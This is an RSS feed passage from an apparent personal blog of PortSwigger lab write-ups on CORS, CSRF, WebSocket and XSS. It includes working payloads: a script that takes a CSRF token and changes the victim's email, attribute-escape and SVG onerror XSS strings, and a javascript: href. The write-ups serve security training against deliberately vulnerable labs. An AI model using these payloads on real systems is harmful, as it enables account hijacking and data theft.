After that, use Clickbandit to generate a sample PoC and deliver it to the victim. Neat&lt;/p></description></item><item><title>CORS vulnerability with trusted insecure protocols | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/cors/cors_practitioner1/</link><pubDate>Tue, 07 Jul 2026 13:43:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/cors/cors_practitioner1/</guid><description>&lt;p>Just like the &lt;a href="https://panman4040.github.io/training/portswigger/cors/cors_apprentice2/">last lab&lt;/a>, the session cookie has &lt;code>SameSite=None&lt;/code> and there is zero CSRF tokens or anything of the sort while querying for sensitive data on &lt;code>/accountDetails&lt;/code>:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-07_13-19-50-990.png" alt="">
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-07_13-20-02-482.png" alt="">
But unlike the last two labs, the web application here controls which origins can get in quite strictly. It withstands parsing errors and the &lt;code>null&lt;/code> check, which would prove exfiltrating victim&amp;rsquo;s data more difficult.&lt;/p>
&lt;p>So naturally, we should probe other functionalities to find an attack surface. Notice the Check Stock add-on, is it rather odd that whenever we want to query stocks, it opens a window to an insecure HTTP subdomain?
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-07_13-23-50-705.png" alt="">
Plus, this possibly vulnerable subdomain is on the whitelist, maybe this is our attack surface:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-07_13-51-48-735.png" alt="">
Upon closer inspection, to access stock level we do need to provide two necessary params &lt;code>productId&lt;/code> and &lt;code>storeId&lt;/code>. The site dictates the former must definitely be an integer, what if it isn&amp;rsquo;t?
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-07_13-28-56-360.png" alt="">
Rather than showing a generic error message, the web application on this subdomain reflects our wrong ID into the HTML. This smells of XSS vulnerabilities, let&amp;rsquo;s test this by adding a harmless &lt;code>h1&lt;/code> tag:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-07_13-29-12-473.png" alt="">
Surprisingly this works! We can inject arbitrary HTML and the parser &lt;em>will&lt;/em> honor it. Using all these information in mind, we can just paste our old payload into &lt;code>productId&lt;/code> and it will run smooth as butter:&lt;/p></description></item><item><title>CORS vulnerability with trusted null origin | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/cors/cors_apprentice2/</link><pubDate>Tue, 07 Jul 2026 10:39:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/cors/cors_apprentice2/</guid><description>&lt;p>Similar to &lt;a href="https://panman4040.github.io/training/portswigger/cors/cors_apprentice1/">this lab&lt;/a>, the session cookie still has &lt;code>SameSite=None&lt;/code> and sensitive data is still stored at the &lt;code>/accountDetails&lt;/code> endpoint. CORS may still be supported as the &lt;code>Access-Control-Allow-Credentials&lt;/code> is set to True:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-07_10-19-29-856.png" alt="">
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-07_10-20-24-697.png" alt="">&lt;/p>
&lt;p>Let&amp;rsquo;s try manipulating the Origin header, for example say &lt;code>evil.com&lt;/code>?
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-07_10-24-28-762.png" alt="">
The request is accepted? Yet there is no &lt;code>Access-Control-Allow-Origin&lt;/code> header which means the origin is rejected? What does this mean? Turns out that CORS is enforced by the &lt;strong>victim&amp;rsquo;s web browser&lt;/strong>, and not the server.&lt;/p></description></item><item><title>CORS vulnerability with basic origin reflection | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/cors/cors_apprentice1/</link><pubDate>Tue, 07 Jul 2026 09:43:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/cors/cors_apprentice1/</guid><description>&lt;p>Our goal is to obtain the API key of &lt;code>administrator&lt;/code>, so first we have to see how it is returned in the response:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-07_09-36-05-549.png" alt="">
The web application fetches the endpoint &lt;code>/accountDetails&lt;/code> including the user&amp;rsquo;s credentials. It then queries for &lt;code>apiKey&lt;/code> and reflects it in the HTML. This sounds interesting, let&amp;rsquo;s dive in for more!
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-07_09-36-48-853.png" alt="">
The backend returns with a clean JSON object containing our apikey &lt;strong>and&lt;/strong> session cookie as well, this smells privacy issues. Not only that the web application responds with the &lt;code>Access-Control-Allow-Credentials&lt;/code> header set to True, meaning CORS may be supported and credentials are included in requests &lt;em>for the same origins at least&lt;/em>. Let&amp;rsquo;s try spoofing the Origin header and see what&amp;rsquo;s up:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-07_09-37-27-683.png" alt="">
Surprisingly, the backend never bothers validating origin and just appends them blindly into the &lt;code>Access-Control-Allow-Origin&lt;/code> header, not only that but we are also allowed to send credentials into our requests as well. This opens up opportunities for a CORS exploit on the &lt;code>/accountDetails&lt;/code> endpoint, but we forgot to check whether the session cookie is Strict or not. Let&amp;rsquo;s try:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-07_09-40-12-824.png" alt="">
Thankfully, the session cookie is set to None, and since our original request does not have CSRF tokens, we can craft the following payload:&lt;/p></description></item><item><title>CSRF with broken Referer validation | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner11/</link><pubDate>Mon, 06 Jul 2026 15:45:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner11/</guid><description>&lt;p>Just like &lt;a href="https://panman4040.github.io/training/portswigger/csrf/csrf-practioner10/">this problem&lt;/a>, if we intercept the change email request, we may see that there are no CSRF protections present. On top of that, the session cookie still has &lt;code>SameSite=None&lt;/code>. So this would make our job very much easier:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-06_15-32-32-613.png" alt="">
As the lab name suggests, let&amp;rsquo;s try manipulating the Referer header. I&amp;rsquo;ve tried changing it to something else, or remove it entirely, the server seemingly is one step ahead of us and returns a 400 every time:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-06_15-33-50-052.png" alt="">
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-06_15-34-02-052.png" alt="">
However, if we include the domain name onto the Referer header, the backend accepts it arbitrarily without any filters. This is our entry point!
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-06_15-36-37-658.png" alt="">
Because the lab has no CSRF defences save for that Referer validation, we can craft a simple payload as follow:&lt;/p></description></item><item><title>CSRF where Referer validation depends on header being present | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner10/</link><pubDate>Mon, 06 Jul 2026 13:50:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner10/</guid><description>&lt;p>Before attempting any CSRF payloads, it&amp;rsquo;s good practice to know more about the cookies first to see whether certain restrictions are in place. Fortunately for us, this lab has only one session cookie with &lt;code>SameSite=None&lt;/code>, without any CSRF token validation. This means any future exploits can be crafted and sent without problems:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-06_13-43-55-517.png" alt="">
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-06_13-44-23-825.png" alt="">&lt;/p>
&lt;p>Let&amp;rsquo;s try sending the email changing request to Repeater. As the lab&amp;rsquo;s name suggests, let&amp;rsquo;s tinker a little with the Referer header. As you can see above, the Referer header is pointing to the main site in which the backend accepts and forwards our request. How about changing that header to something else instead?
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-06_13-46-22-255.png" alt="">&lt;/p></description></item><item><title>SameSite Strict bypass via sibling domain | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner9/</link><pubDate>Mon, 06 Jul 2026 13:49:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner9/</guid><description>&lt;p>At first glance, this is pretty similar to &lt;a href="https://panman4040.github.io/training/portswigger/csrf/csrf-practioner8/">this problem&lt;/a>. We inspect the WebSocket history and find out that whenever we send a &lt;code>READY&lt;/code> message, all the chat history on that session is returned. So that means the same payload from that problem can be applied right?
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-06_09-04-41-571.png" alt="">
But notice that the session cookie has &lt;code>SameSite&lt;/code> set to &lt;code>Strict&lt;/code>, that means every attempt to hijack the WebSocket connection from an outside source will not extract any useful information, besides that same default Connected with Hal Prime message.
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-06_09-03-41-758.png" alt="">
So naturally, we have to find another attack surface to capitalise on. But where? The only other useful functionality on the main site is the login form, which is protected by the same Strict session cookie. However, CSRF protections like tokens are not present, can we take advantage of this?
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-06_09-30-47-118.png" alt="">&lt;/p></description></item><item><title>Manipulating the WebSocket handshake to exploit vulnerabilities | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/websocket/ws_practitioner1/</link><pubDate>Fri, 03 Jul 2026 15:39:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/websocket/ws_practitioner1/</guid><description>&lt;p>Since the only useful functionality on the lab is the live chat feature, we will be trying out payloads on it, but this proved much harder than I thought (lol).&lt;/p>
&lt;p>After sending the WebSocket message to Repeater and crafting a simple &lt;code>alert&lt;/code> payload, we are immediately IP banned with no room to spare (damn).
&lt;img src="https://panman4040.github.io/images/301b9b8d-fd58-4c94-83bb-a5d4d52610e9.jpg" alt="">
Upon inspection of the WebSocket history, we should see that the server detects our payload as an attack and acts accordingly:
&lt;img src="https://panman4040.github.io/images/2feb5ab7-2051-4c54-a515-25006951804d.jpg" alt="">&lt;/p></description></item><item><title>Reflected XSS protected by CSP, with CSP bypass | &lt;span style="color:#9b59b6">Expert&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_expert3/</link><pubDate>Fri, 03 Jul 2026 13:32:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_expert3/</guid><description>&lt;p>Let&amp;rsquo;s try testing the search function. As usual, we insert our canary string and see what sticks:
&lt;img src="https://panman4040.github.io/images/1302189d-c841-40a8-ac6d-3048a11175ac.jpg" alt="">
Unlike previous labs, this lab has CSP enabled, with very strict directives too. But just to be sure, we should test the waters to see if those directives are all bark but no bite. Let&amp;rsquo;s try a simple &lt;code>alert&lt;/code> payload:
&lt;img src="https://panman4040.github.io/images/b594c923-754e-4b85-bf95-e53ef5ff087c.jpg" alt="">
Looks like the parser recognises the payload as valid HTML! But unfortunately the CSP is one step ahead by blocking every inline script instances. The good news for us is that we can assume &lt;em>all tags and events&lt;/em> are not filtered.&lt;/p></description></item><item><title>Reflected XSS protected by very strict CSP, with dangling markup attack | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_practitioner16/</link><pubDate>Wed, 01 Jul 2026 10:10:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_practitioner16/</guid><description>&lt;p>At first, I was struggling to make use of dangling markups to obtain the CSRF token needed for exfil. What I didn&amp;rsquo;t realise is that Chrome has long banned dangling markup exploitation by essentially blocking certain characters such as angle brackets. So that&amp;rsquo;s bust.&lt;/p>
&lt;p>Coming back to the problem, I first tried tinkering around the comment functionality to see what sticks. However, all the useful characters are encoded, and there are no vulnerable client-side JS vectors to bypass these unlike last labs:
&lt;img src="https://panman4040.github.io/images/297d466e-b485-4c67-917f-de3bf777899a.jpg" alt="">&lt;/p></description></item><item><title>Exploiting cross-site scripting to capture passwords | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_practitioner15/</link><pubDate>Wed, 01 Jul 2026 08:52:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_practitioner15/</guid><description>&lt;p>I first struggled to solve this because I was leaning towards a solution that does &lt;em>not&lt;/em> require user interaction. Something like a list of autofilled passwords being defined somewhere in the DOM, tried Googling to hell and back but no budge.&lt;/p>
&lt;p>Turns out I had to swallow my pride and come up with a solution that requires interaction. Turns out it&amp;rsquo;s simpler that it sounds. All you have to do is wait for the browser to fill the passwords, detect it using &lt;code>onchange&lt;/code> then grab the credentials.&lt;/p></description></item><item><title>Exploiting XSS to bypass CSRF defenses | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_practitioner14/</link><pubDate>Tue, 30 Jun 2026 16:20:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_practitioner14/</guid><description>&lt;p>In the spirit of &lt;a href="https://panman4040.github.io/training/portswigger/xss/xss_practitioner13/">this problem&lt;/a>, we can simply set up a similar payload as shown here:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">setTimeout&lt;/span>(&lt;span style="color:#66d9ef">function&lt;/span>(){
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">token&lt;/span> &lt;span style="color:#f92672">=&lt;/span> document.&lt;span style="color:#a6e22e">getElementsByName&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;csrf&amp;#39;&lt;/span>)[&lt;span style="color:#ae81ff">0&lt;/span>].&lt;span style="color:#a6e22e">value&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">data&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">new&lt;/span> &lt;span style="color:#a6e22e">FormData&lt;/span>();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span>.&lt;span style="color:#a6e22e">append&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;csrf&amp;#39;&lt;/span>, &lt;span style="color:#a6e22e">token&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span>.&lt;span style="color:#a6e22e">append&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;email&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;hijacked@test.com&amp;#39;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fetch&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;/my-account/change-email&amp;#39;&lt;/span>, {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">method&lt;/span>&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#e6db74">&amp;#39;POST&amp;#39;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">body&lt;/span>&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#a6e22e">data&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> });
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}, &lt;span style="color:#ae81ff">100&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Exploiting cross-site scripting to steal cookies | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_practitioner13/</link><pubDate>Tue, 30 Jun 2026 14:19:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_practitioner13/</guid><description>&lt;p>(dont rlly like this lab because of paywall)
First, to steal cookies we must know the attributes of them. By using the Developer Tool, we can see that our cookie &lt;code>session&lt;/code> does not have &lt;code>HttpOnly&lt;/code> flagged. This means client-side JS can read cookies via &lt;code>document.cookie&lt;/code>, making our job easier.
&lt;img src="https://panman4040.github.io/images/5848ca55-38c1-4ef1-966a-d8581126acf7.jpg" alt="">&lt;/p>
&lt;p>As usual, we try to insert our canary and see what&amp;rsquo;s up:
&lt;img src="https://panman4040.github.io/images/700db3c5-13bb-413e-8d7f-a8b8ad68704b.jpg" alt="">
This is a bit of a logic jump but I tried inserting angled brackets and found out that it wasn&amp;rsquo;t encoded like other labs. I then attempted to insert a simple &lt;code>alert&lt;/code> payload, lo and behold the parser recognises the payload as HTML. We can &lt;em>assume&lt;/em> that there are no encoding filter or WAF blocks, meaning we can build our payloads no problemo.&lt;/p></description></item><item><title>Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_practitioner12/</link><pubDate>Tue, 30 Jun 2026 13:48:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_practitioner12/</guid><description>&lt;p>(lab&amp;rsquo;s name is a bit of a handful)&lt;/p>
&lt;p>As usual, let&amp;rsquo;s first insert our canary into the search form to see what&amp;rsquo;s the buzz:
&lt;img src="https://panman4040.github.io/images/8b3f77d0-ea39-4bcc-9cd8-58dfb8b7bfaa.jpg" alt="">&lt;/p>
&lt;p>While all our special characters are encoded thus no traditional payloads, notice that the page is trying to build the message dynamically using client-side JS. And &lt;strong>backticks&lt;/strong> are used rather than single or double quotes, meaning we can probably inject JavaScript template literals within the message itself.&lt;/p></description></item><item><title>Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_practitioner11/</link><pubDate>Tue, 30 Jun 2026 09:25:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_practitioner11/</guid><description>&lt;p>Since the only useful functionality on this lab is commenting, we begin by inserting our canary into the comment form and some special characters to see what sticks. Good practice.
&lt;img src="https://panman4040.github.io/images/63c911eb-5ee7-4b89-b391-d2cd053986e4.jpg" alt="">&lt;/p>
&lt;p>While checking the source, we see that everything is HTML-encoded, even the backslash is escaped. This entry is bust.&lt;/p>
&lt;p>But we haven&amp;rsquo;t checked out how our comment is rendered in Elements yet. Maybe this will lead to something interesting?
&lt;img src="https://panman4040.github.io/images/99f4fe8e-679f-481a-b3d4-a70fd63f621e.jpg" alt="">&lt;/p>
&lt;p>Notice that our controllable website input is reflected inside a JavaScript quoted tag attribute. We can infer that it tracks traffic to our website or something, that doesn&amp;rsquo;t matter. What matters is that we now know there &lt;em>is&lt;/em> a way to break away the existing JS code and insert our payloads.&lt;/p></description></item><item><title>Reflected XSS in a JavaScript URL with some characters blocked | &lt;span style="color:#9b59b6">Expert&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_expert2/</link><pubDate>Mon, 29 Jun 2026 10:23:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_expert2/</guid><description>&lt;p>Let&amp;rsquo;s try insert our canary string into the comments, with some special characters to boot to see what sticks
&lt;img src="https://panman4040.github.io/images/8a34fb60-4faa-4670-995c-2164092d1121.jpg" alt="">
As reflected in the source, almost everything save for &lt;code>;$%()&lt;/code> are URL encoded, severely limiting our payload capability. Checking the HTML content in Elements also reveal that all our input is treated as &lt;strong>text&lt;/strong>.&lt;/p>
&lt;p>After much tinkering, I realised I have been focusing too much on comments while ignoring the little Back to Blog button at the end of the page. This might be interesting.
&lt;img src="https://panman4040.github.io/images/2a124eb8-cc07-43af-9627-daa5e3163e54.jpg" alt="">&lt;/p></description></item><item><title>Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_practitioner10/</link><pubDate>Mon, 29 Jun 2026 09:45:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_practitioner10/</guid><description>&lt;p>As usual, we first try to insert our canary string along with special characters to see what sticks:
&lt;img src="https://panman4040.github.io/images/0a5de1db-44bb-4add-910a-a29d0b5b7f1d.jpg" alt="">&lt;/p>
&lt;p>Notice all of the characters are encoded, save for &lt;em>one trailing backslash&lt;/em> at the end. Since single quotes are escaped, we should expect the same for backslashes and see &lt;em>two of them&lt;/em> rather than one. This means backslashes are not escaped, and we can use this to our advantage.&lt;/p>
&lt;p>We can insert our own backslash character before a single quote to neutralize the backslash that is added by the application.&lt;/p></description></item><item><title>Reflected XSS into a JavaScript string with single quote and backslash escaped | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_practitioner9/</link><pubDate>Mon, 29 Jun 2026 09:11:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_practitioner9/</guid><description>&lt;p>We first try to insert our canary string into the search form on the main page, and view the result in DOM Invader
&lt;img src="https://panman4040.github.io/images/acbc3a70-7aa5-420f-bd42-74cd0a1e85b5.jpg" alt="">&lt;/p>
&lt;p>As we can see, the canary falls into a &lt;code>document.write&lt;/code> sink. Upon closer inspection of the source code, we can discover this JS snippet:
&lt;img src="https://panman4040.github.io/images/07e91fab-3fe6-4d53-a5d9-177a1650366f.jpg" alt="">&lt;/p>
&lt;p>Notice that the single quote is escaped. Double quotes and angle brackets are URL encoded, evident on the query string, before being written into the HTML. But whatever input we type will be assigned to the variable &lt;code>searchTerms&lt;/code> first, without any encoding save for single quotes.&lt;/p></description></item><item><title>Reflected XSS in canonical link tag | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_practitioner8/</link><pubDate>Fri, 26 Jun 2026 16:22:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_practitioner8/</guid><description>&lt;p>First, we&amp;rsquo;ll need to understand what are &lt;em>canonical tags&lt;/em>. In HTML, it always lives in &lt;code>head&lt;/code> and looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">link&lt;/span> &lt;span style="color:#a6e22e">rel&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;canonical&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">href&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;https://example.com/main-site&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If &lt;code>example.com&lt;/code> has many endpoints other than the main one, a search engine bot splits up the SEO ranking power, which is what dictates the visibility of a site, across all these URLs. To fix this, developers usually add a canonical tag to all those pages that points back to the main URL, which essentially means telling the search engine bot to give &lt;em>all visibility&lt;/em> to the main site instead.&lt;/p></description></item><item><title>Stored XSS into anchor href attribute with double quotes HTML-encoded | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_apprentice6/</link><pubDate>Fri, 26 Jun 2026 15:40:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_apprentice6/</guid><description>&lt;p>After tinkering with the comment functionality, notice that the backend will directly takes whatever inside the website input box and attach it to the &lt;code>href&lt;/code> anchor as shown here. One thing to note is that the &lt;code>http:&lt;/code> prepend filter is not present for this lab:
&lt;img src="https://panman4040.github.io/images/7e1d1201-af4b-495d-8be4-f647067eb219.jpg" alt="">&lt;/p>
&lt;p>So we can simply use the payload &lt;code>javascript:alert(1)&lt;/code> to solve the lab. Simple&lt;/p></description></item><item><title>Reflected XSS into attribute with angle brackets HTML-encoded | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_apprentice5/</link><pubDate>Fri, 26 Jun 2026 15:13:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_apprentice5/</guid><description>&lt;p>As with any, we try inserting our canary into the form to see what comes. In this case we will try searching for &lt;code>ihvkjueb&amp;quot;&amp;lt;&amp;gt;&amp;amp;&lt;/code>
&lt;img src="https://panman4040.github.io/images/6fa9d2f7-ee31-40e8-b661-faadbbfa33bf.jpg" alt="">
Notice that while the angle brackets are encoded, &lt;code>&amp;quot;&lt;/code> isn&amp;rsquo;t. And we can escape the &lt;code>value&lt;/code> attribute and add it this payload:&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;#34; autofocus onfocus=&amp;#39;alert(1)&amp;#39;
&lt;/code>&lt;/pre>&lt;p>This will autofocus the input form right after the page loads, which will trigger &lt;code>alert&lt;/code> calls indefinitely.&lt;/p></description></item><item><title>Reflected XSS with some SVG markup allowed | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_practitioner7/</link><pubDate>Fri, 26 Jun 2026 14:19:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_practitioner7/</guid><description>&lt;p>Similar to &lt;a href="https://panman4040.github.io/content/training/portswigger/xss/xss_expert1.md">this problem&lt;/a>, we first try to find out which tags are allowed and which are not using Intruder as follow:
&lt;img src="https://panman4040.github.io/images/0846e732-2482-4b38-9e18-3d6cb61048d1.jpg" alt="">
The tags available are &lt;code>animateTransform&lt;/code>, &lt;code>image&lt;/code>, and &lt;code>svg&lt;/code>. &lt;code>title&lt;/code> is also allowed but it doesn&amp;rsquo;t assist much in delivering payloads so we will skip it for now.&lt;/p>
&lt;p>So we are given three building blocks. One may craft a payload as follow:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">&amp;lt;&lt;/span>&lt;span style="color:#a6e22e">svg&lt;/span>&lt;span style="color:#f92672">&amp;gt;&amp;lt;&lt;/span>&lt;span style="color:#a6e22e">image&lt;/span> &lt;span style="color:#a6e22e">width&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#a6e22e">height&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#a6e22e">src&lt;/span>&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#a6e22e">onerror&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#a6e22e">alert&lt;/span>(&lt;span style="color:#ae81ff">1&lt;/span>)&lt;span style="color:#f92672">&amp;gt;&amp;lt;&lt;/span>&lt;span style="color:#960050;background-color:#1e0010">/svg&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>But it doesn&amp;rsquo;t work. Using &lt;code>animateTransform&lt;/code> to add the event indirectly also does not work. Using other events does not work. Once again, we use Intruder to brute our way to which events are accepted and which aren&amp;rsquo;t:
&lt;img src="https://panman4040.github.io/images/14de7ba5-1454-40a4-bf66-00937ae7bc62.jpg" alt="">
All but one event is blocked, and that is &lt;code>onbegin&lt;/code>. It is essentially &lt;code>onload&lt;/code> but for SVG animation elements. So we can craft a payload as follow:&lt;/p></description></item><item><title>Reflected XSS with event handlers and href attributes blocked | &lt;span style="color:#9b59b6">Expert&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_expert1/</link><pubDate>Fri, 26 Jun 2026 10:03:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_expert1/</guid><description>&lt;p>Similar to previous problems, first we shall pass through Intruder to see which tags are accepted
&lt;img src="https://panman4040.github.io/images/6c22fc95-c607-4ae9-ab57-bf67430d6620.jpg" alt="">
Some of the valid tags are &lt;code>&amp;lt;a&amp;gt;&lt;/code>, &lt;code>&amp;lt;animate&amp;gt;&lt;/code>, &lt;code>&amp;lt;image&amp;gt;&lt;/code>, and &lt;code>&amp;lt;svg&amp;gt;&lt;/code>. This is a huge flag for an &lt;code>svg&lt;/code> tags ecosystem. Since the &lt;code>href&lt;/code> attribute is blocked by the WAF, perhaps somehow we can sneak that through indirectly without alerting the firewall?&lt;/p>
&lt;p>The answer is using the &lt;code>&amp;lt;animate&amp;gt;&lt;/code> tag, with its convenient &lt;code>attributeName&lt;/code> and &lt;code>values&lt;/code> attributes, it allows us to indirectly modify the parent tag&amp;rsquo;s attributes and their values. Thus we can craft a payload as follow:&lt;/p></description></item><item><title>Reflected XSS into HTML context with all tags blocked except custom ones | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/xss/xss_practitioner6/</link><pubDate>Fri, 26 Jun 2026 09:41:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/xss/xss_practitioner6/</guid><description>&lt;p>When we launch Intruder to zero in which tags are accepted, all of them returns a 400 which makes common payloads obsolete
&lt;img src="https://panman4040.github.io/images/7e55ad38-7364-4cab-be90-1f6b086bfab9.jpg" alt="">
